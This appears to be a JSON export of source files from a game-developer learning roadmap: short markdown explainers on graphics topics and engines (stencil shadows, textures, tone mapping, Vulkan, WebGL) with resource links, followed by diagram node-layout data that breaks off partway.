    "content": "# Stencil Shadow\n\n`Stencil shadows` are a technique used in 3D computer graphics for creating shadows. The stencil shadow algorithm operates by treating a shadow as a 3D volume of space, known as a shadow volume. Any part of the scene that lies inside this shadow volume will be in shadow. If it lies outside the shadow volume, it will be in light. The shadow volume is created by extruding the polygonal silhouette of a 3D object into space along the lines of sight from the light source. For equivalent complex objects, the number of edges or vertices to fill the stencil buffer will generally be less than the number of pixels needed to compute shadow maps, making stencil shadows more efficient in that regard. However, the shadows produced by this technique can look blocky or unrealistic if not further refined.\n\nVisit the following resources to learn more:\n\n- [@article@Stencil Shadows Implementation](https://devforum.roblox.com/t/stencil-shadows-implementation/2079287)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/texture@iBZ1JsEWI0xuLgUvfWfl-.md",
    "content": "# Texture\r\n\r\n`Texture` is the visual quality of an object. Where the `mesh` determines the shape or `topology` of an object, the texture describes the quality of said object. For instance, if there is a spherical mesh, is it supposed to be shiny? is it supposed to be rough? is it supposed to be of rock or of wood? questions of this ilk are often resolved using textures. Textures are often just 2D images that are wrapped onto 3D meshes. The 3D mesh is first divided into segments and unfurled; the 3D meshes are converted into 2D chunks, this process is known as `UV Unwrapping`. Once a mesh has been unwrapped, the textures in the form of an image are applied to the 2D chunks of the 3D mesh, this way the texture knows how to properly wrap around the mesh and avoid any conflicts. Textures determine the visual feel and aesthetics of the game.\r\n\r\nVisit the following resources to learn more:\r\n\r\n- [@article@Textures and Materials](https://gamedevinsider.com/making-games/game-artist/texturing-and-materials/)\r\n- [@video@How Nintendo Textures Work](https://www.youtube.com/watch?v=WrCMzHngLxI)\r\n- [@video@How Pixar Textures work](https://www.youtube.com/watch?v=o_I6jxlN-Ck)\r\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/tone-reproduction@RgC9TOc0wbr2QSuvrpIDV.md",
    "content": "# Tone Reproduction\n\n`Tone Reproduction` or `Tone Mapping` is the technique used in computer graphics to simulate the appearance of high-dynamic-range images in media with a more limited dynamic range. Print-outs, CRT, LCD monitors, and other displays can only reproduce a reduced dynamic range. This technique is widely used in gaming development, where developers employ it to improve the visual experience. The process involves taking light from a scene and mapping it to a smaller range of tones while preserving the visual appearance—i.e., regarding brightness, saturation, and hue. There are various tone mapping algorithms available, each with unique attributes suitable for different imaging tasks.\n\nVisit the following resources to learn more:\n\n- [@article@Tone Mapping](https://graphics-programming.org/resources/tonemapping/index.html)\n- [@article@Sound Design for Video Games](https://www.gamedeveloper.com/audio/sound-design-for-video-games-a-primer)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/translucency--transparency@PuhXaRZ-Ql5PCqzMyz3en.md",
    "content": "# Conservation of Energy\n\nIn the realm of physically-based rendering, **translucency** and **transparency** act as key aspects in creating visually authentic and compelling images. Transparency refers to the property of an object that allows light to pass through it unhindered, hence making the object clear or invisible. This is commonly seen in materials such as glass, clear plastic, and water. On the other hand, translucency describes how light interacts with a semi-transparent object. Instead of passing directly through, light enters the object, travels within for some distance and then exits at a different location. Common examples of such surfaces include human skin, marble, milk, or wax, which exhibit a soft, diffused lighting effect when light rays pass through them. The technique to achieve this effect in graphics involves subsurface scattering, where incoming light is scattered beneath the object's surface, illuminated it in a way that showcases the material's internal structure.\n\nVisit the following resources to learn more:\n\n- [@article@Learn OpenGL - Blending](https://learnopengl.com/Advanced-OpenGL/Blending)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/unity-3d@rNeOti8DDyWTMP9FB9kJ_.md",
    "content": "# Unity 3D\n\n**Unity 3D** is a versatile, cross-platform game engine that supports the development of both 2D and 3D games. This game engine allows users to create a wide variety of games including AR, VR, Mobile, Consoles, and Computers in C#. It provides a host of powerful features and tools, such as scripting, asset bundling, scene building, and simulation, to assist developers in creating interactive content. Unity 3D also boasts a large, active community that regularly contributes tutorials, scripts, assets, and more, making it a robust platform for all levels of game developers.\n\nVisit the following resources to learn more:\n\n- [@official@Unity](https://unity.com/)\n- [@official@Unity Engine for Video Games](https://unity.com/products/unity-engine)\n- [@official@Creating a 3D Game](https://docs.unity3d.com/2021.2/Documentation/Manual/Quickstart3DCreate.html)\n- [@video@Unity in 100 Seconds](https://www.youtube.com/watch?v=iqlH4okiQqg)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/unreal-engine@a6H-cZtp3A_fB8jnfMxBR.md",
    "content": "# Unreal Engine\n\nThe **Unreal Engine** is a powerful game development engine created by Epic Games. Used by game developers worldwide, it supports the creation of high-quality games across multiple platforms such as iOS, Android, Windows, Mac, Xbox, and PlayStation. Unreal Engine is renowned for its photo-realistic rendering, dynamic physics and effects, robust multiplayer framework, and its flexible scripting system called Blueprint. The engine is also fully equipped with dedicated tools and functionalities for animation, AI, lighting, cinematography, and post-processing effects. The most recent version, Unreal Engine 5, introduces real-time Global Illumination and makes film-quality real-time graphics achievable.\n\nVisit the following resources to learn more:\n\n- [@official@Unreal Engine Documentation](https://dev.epicgames.com/documentation/en-us/unreal-engine/unreal-engine-5-4-documentation)\n- [@official@Unreal Engine YouTube Channel](https://m.youtube.com/channel/UCBobmJyzsJ6Ll7UbfhI4iwQ)\n- [@video@Unreal in 100 Seconds](https://www.youtube.com/watch?v=DXDe-2BC4cE)\n- [@feed@Unreal Source Discord](https://discord.gg/unrealsource)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/vector@yLEyh5XJ3sl8eHD-PoSvJ.md",
    "content": "# Vector\n\n`Vector` in game development is a mathematical concept and an integral part of game physics. It represents a quantity that has both magnitude and direction. A vector can be used to represent different elements in a game like positions, velocities, accelerations, or directions. In 3D games, it's commonly used to define 3D coordinates (x, y, z). For example, if you have a character in a game and you want to move it up, you'd apply a vector that points upward. Hence, understanding how to manipulate vectors is a fundamental skill in game development.\n\nVisit the following resources to learn more:\n\n- [@article@Practical Introduction to Vectors for Game Development](https://dev.to/marcbeaujean/practical-introduction-to-vectors-for-game-development-532f)\n- [@video@Introduction to Vectors (By Sebastian Lague)](https://youtu.be/m7VY1T6f8Ak?feature=shared)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/visibility-and-occlusion@OcxesFnB5wO6VXrHYnhz-.md",
    "content": "# Visibility and Occlusion\n\n\"Visibility and occlusion\" in computer graphics refers to the process of determining which parts of a particular object are visible from a certain viewpoint and which are hidden. \"Occlusion\" describes the phenomenon where an object is blocked from view by another object. Understanding these concepts is important for creating realistic renderings in game design. Real-time engines typically use data structures like BSP-trees, Quad-trees or Octrees to quickly identify occlusion. Advanced techniques such as Occlusion culling and Z-buffering are used to further optimize the representation of visible and hidden parts of 3D objects. Understanding the depths and dimensions related to visibility and occlusion empowers the game developer to enhance presentation and performance.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to Occlusion Culling](https://medium.com/@Umbra3D/introduction-to-occlusion-culling-3d6cfb195c79)\n- [@article@Visibility in Computer Graphics](https://ima.udg.edu/~sellares/ComGeo/VisComGra.pdf)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/visual-perception@1S1qPogijW2SQCiF7KLZe.md",
    "content": "# Visual Perception\n\nVisual Perception is a fundamental aspect of game development, widely explored within the field of computer graphics. It involves the ability to interpret and understand the visual information that our eyes receive, essential to create immersive and dynamic visual experiences in games. The study involves the understanding of light, color, shape, form, depth, and motion, among others, which are key elements to create aesthetically pleasing and engaging graphics. Making full use of visual perception allows the game developers to control and manipulate how the gamers interact with and experience the game world, significantly enhancing not only the visual appeal but also the overall gameplay.\n\nVisit the following resources to learn more:\n\n- [@article@Visual Psychology and Perception](https://www.gamedeveloper.com/design/it-s-all-in-your-mind-visual-psychology-and-perception-in-game-design)\n- [@article@Expanding the Video Game Concept](https://link.springer.com/chapter/10.1007/978-3-030-45545-3_7)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/vulkan-ray-tracing@tDGnV8dGIFr_diz4HcEjr.md",
    "content": "# Vulkan Ray Tracing\n\n`Vulkan Ray Tracing` is an extension of the Vulkan API (Application Programming Interface), which is an open-source, cross-platform API developed by the Khronos Group. Its main goal is to provide developers with greater control over the GPU, enabling better performance and more efficient multisystem and multicore use. The Vulkan Ray Tracing extension provides a standardized ray tracing interface similar to DirectX Raytracing, enabling real-time ray tracing applications to be built on Vulkan. This extension includes a number of functionalities such as acceleration structure building and management, ray tracing shader stages and pipelines, and indirect ray tracing dispatch.\n\nVisit the following resources to learn more:\n\n- [@article@NVIDIA Vulkan Ray Tracing Tutorial](https://developer.nvidia.com/rtx/raytracing/vkray)\n- [@official@Ray Tracing with Vulkan](https://docs.vulkan.org/guide/latest/extensions/ray_tracing.html)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/vulkan@yPfhJSTFS7a72UcqF1ROK.md",
    "content": "# Vulkan\n\nVulkan is a high-performance, cross-platform API for graphics and computation tasks published by the Khronos Group. Unlike other graphics APIs, Vulkan provides developers with direct control over the GPU and aims to take full advantage of multicore processors, enabling significant performance gains in 3D applications. It supports Windows, Linux, Android, iOS, and MacOS platforms. It's built from ground-up to ensure minimal overhead on the CPU side, providing a more balanced CPU/GPU usage, hence not limiting the game to a single core. Vulkan can be seen as the successor to OpenGL, as it offers lower-level functionality and more efficient multi-threading capabilities.\n\nVisit the following resources to learn more:\n\n- [@official@Vulkan](https://www.vulkan.org/)\n- [@official@What is Vulkan?](https://docs.vulkan.org/guide/latest/what_is_vulkan.html)\n- [@article@Vulkan Driver Support](https://developer.nvidia.com/vulkan-driver)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/webgl@CeydBMwckqKll-2AgOlyd.md",
    "content": "# WebGL\n\n`WebGL` (Web Graphics Library) is a JavaScript API that is used to render interactive 2D and 3D graphics within any compatible web browser without the use of plug-ins. It leverages the power of the Graphics Processing Unit (GPU), which provides high-efficiency rendering. WebGL programs consist of control code written in JavaScript and shader code that's written in OpenGL Shading Language (GLSL), allowing developers to control the fine details of graphics rendering. Besides its compatibility with HTML5 and its ability to render on any platform that supports the web, WebGL is entirely integrated into all web standards, facilitating GPU-accelerated image processing and effects.\n\nVisit the following resources to learn more:\n\n- [@article@WebGL](https://en.wikipedia.org/wiki/WebGL)\n- [@article@Getting Started with WebGL](https://developer.mozilla.org/en-US/docs/Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/faqs.astro",
    "content": "---\nimport type { FAQType } from '../../components/FAQs/FAQs.astro';\n\nexport const faqs: FAQType[] = [];\n---\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/game-developer.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"o3PyFTPgsW83BXocJQsDJ\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -260.4072387161244,\n        \"y\": 1919.7076829543832\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 246,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 246,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": -260.4072387161244,\n        \"y\": 1919.7076829543832\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 246,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"77ufRs9I5bQ6-3oqeVEeP\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -203.23195037554086,\n        \"y\": 1717.215711596427\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 153,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 153,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": -203.23195037554086,\n        \"y\": 1717.215711596427\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 153,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"4Z4RnLqpSbDJRqzA18Z5k\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 448.241338239984,\n        \"y\": 1722.928855367065\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 109,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 109\n      },\n      \"positionAbsolute\": {\n        \"x\": 448.241338239984,\n        \"y\": 1722.928855367065\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 109\n      }\n    },\n    {\n      \"id\": \"Z3SBDE-j5lYzk4Qy5ncS7\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 39.214820522490754,\n        \"y\": 1396.7939445578397\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 99,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 99\n      },\n      \"positionAbsolute\": {\n        \"x\": 39.214820522490754,\n        \"y\": 1396.7939445578397\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 99\n      }\n    },\n    {\n      \"id\": \"EL9CPU70hF4x9ouOQ66Rm\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -57.08852226085975,\n        \"y\": 1396.7939445578397\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"Z3SBDE-j5lYzk4Qy5ncS7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 170,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 170\n      },\n      \"positionAbsolute\": {\n        \"x\": -57.08852226085975,\n        \"y\": 1396.7939445578397\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 170\n      }\n    },\n    {\n      \"id\": \"vGVyQfjMJB9sxFRshpV5A\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -143.58852226085975,\n        \"y\": 1396.7939445578397\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"Z3SBDE-j5lYzk4Qy5ncS7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 99,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 99\n      },\n      \"positionAbsolute\": {\n        \"x\": -143.58852226085975,\n        \"y\": 1396.7939445578397\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 99\n      }\n    },\n    {\n      \"id\": \"bYFNueU1BFB3eAQ8HXh7n\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 3.062543592821953,\n        \"y\": 1253.7939445578397\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.9,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 195,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 195,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 3.062543592821953,\n        \"y\": 1253.7939445578397\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"x1LxhiMT_mbWJZnoeLcnz\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 446.89009638382095,\n        \"y\": 1100.6993653585232\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 77,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 77\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 446.89009638382095,\n        \"y\": 1100.6993653585232\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 77\n      }\n    },\n    {\n      \"id\": \"Ee7D0WF54YreyzBG9MKIh\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -95.90430753953456,\n        \"y\": 1191.3406441617572\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 66,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 66\n      },\n      \"positionAbsolute\": {\n        \"x\": -95.90430753953456,\n        \"y\": 1191.3406441617572\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 66\n      }\n    },\n    {\n      \"id\": \"G7_iBEFY0b2FmvLVr0gti\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -212.09789095083502,\n        \"y\": 543.2157115964269\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 1184,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 1184\n      },\n      \"positionAbsolute\": {\n        \"x\": -212.09789095083502,\n        \"y\": 543.2157115964269\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 1184\n      }\n    },\n    {\n      \"width\": 256,\n      \"height\": 68,\n      \"id\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": -128.73195037554086,\n        \"y\": -184.83998521803062\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Game Developer\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9nxw2PEl-_eQPW0FHNPq2\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -128.73195037554086,\n        \"y\": -184.83998521803062\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 256,\n        \"height\": 68\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 64,\n      \"id\": \"LEijbLyxg4RyutKEM2Y5g\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -11.231950375540862,\n        \"y\": -243.55566976101449\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#0A33FF\"\n        },\n        \"oldId\": \"xD07fJ1NmNeAarVCEfubU\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -11.231950375540862,\n        \"y\": -243.55566976101449\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 64\n      },\n      \"resizing\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 64\n      }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 179.8414717224867,\n        \"y\": -232.76957062917046\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": 179.8414717224867,\n        \"y\": -232.76957062917046\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 355,\n        \"height\": 143\n      }\n    },\n    {\n      \"id\": \"R_Fs6rdl2XtQ9aLOubMqL\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 193.04484613528683,\n        \"y\": -150.78400721142515\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 193.04484613528683,\n        \"y\": -150.78400721142515\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xwpc_KxehAruFM0pCQnie\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -5.808218001963041,\n        \"y\": 2335.039079314256\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#4136D4\"\n        },\n        \"oldId\": \"Ju00mr0KLGN2BV6yEQGPt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 104,\n      \"positionAbsolute\": {\n        \"x\": -5.808218001963041,\n        \"y\": 2335.039079314256\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 104\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 104\n      }\n    },\n    {\n      \"width\": 347,\n      \"height\": 120,\n      \"id\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -168.80821800196304,\n        \"y\": 2247.683054538901\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Visit the following relevant roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\"\n        },\n        \"oldId\": \"sVXZrBCsiSzWBBYWTm-nQ\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -168.80821800196304,\n        \"y\": 2247.683054538901\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 347,\n        \"height\": 120\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 347,\n        \"height\": 120\n      }\n    },\n    {\n      \"width\": 159,\n      \"height\": 49,\n      \"id\": \"P5IZjP0g1_fnvHy3YTR4q\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -154.23195037554086,\n        \"y\": 2303.3819660369822\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Backend\",\n        \"href\": \"https://roadmap.sh/backend\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"dlGf3ZdFXYx0Z6Viu2x-l\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -154.23195037554086,\n        \"y\": 2303.3819660369822\n      },\n      \"style\": {\n        \"width\": 159,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 159,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SIvQYH0q1H29NgbtLq3L8\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 267.11202169501337,\n        \"y\": -55.32399710033968\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Server Side\",\n        \"href\": \"https://roadmap.sh/server-side-game-developer\",\n        \"color\": \"#000000\",\n        \"backgroundColor\": \"#DEDEDE\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#DEDEDE\"\n      },\n      \"zIndex\": 999,\n      \"width\": 171,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 171,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 267.11202169501337,\n        \"y\": -55.32399710033968\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 171,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rQArtuVKGVgLn_fw9yO3b\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -122.23195037554086,\n        \"y\": -55.32399710033968\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Client Side Development\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"m1wX27XBWKXZcTMH2U1xp\"\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -122.23195037554086,\n        \"y\": -55.32399710033968\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"m1wX27XBWKXZcTMH2U1xp\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -122.23195037554086,\n        \"y\": 174.17600289966032\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Game Mathematics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"wruw4qef0bf74oiA5JqHo\"\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -122.23195037554086,\n        \"y\": 174.17600289966032\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"grRf-MmaXimDB4iODOV47\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -519.0712461079418,\n        \"y\": 18.010149146221465\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Linear Algebra\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 289,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -519.0712461079418,\n        \"y\": 18.010149146221465\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yLEyh5XJ3sl8eHD-PoSvJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -520.0712461079418,\n        \"y\": 72.01014914622147\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Vector\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 143,\n      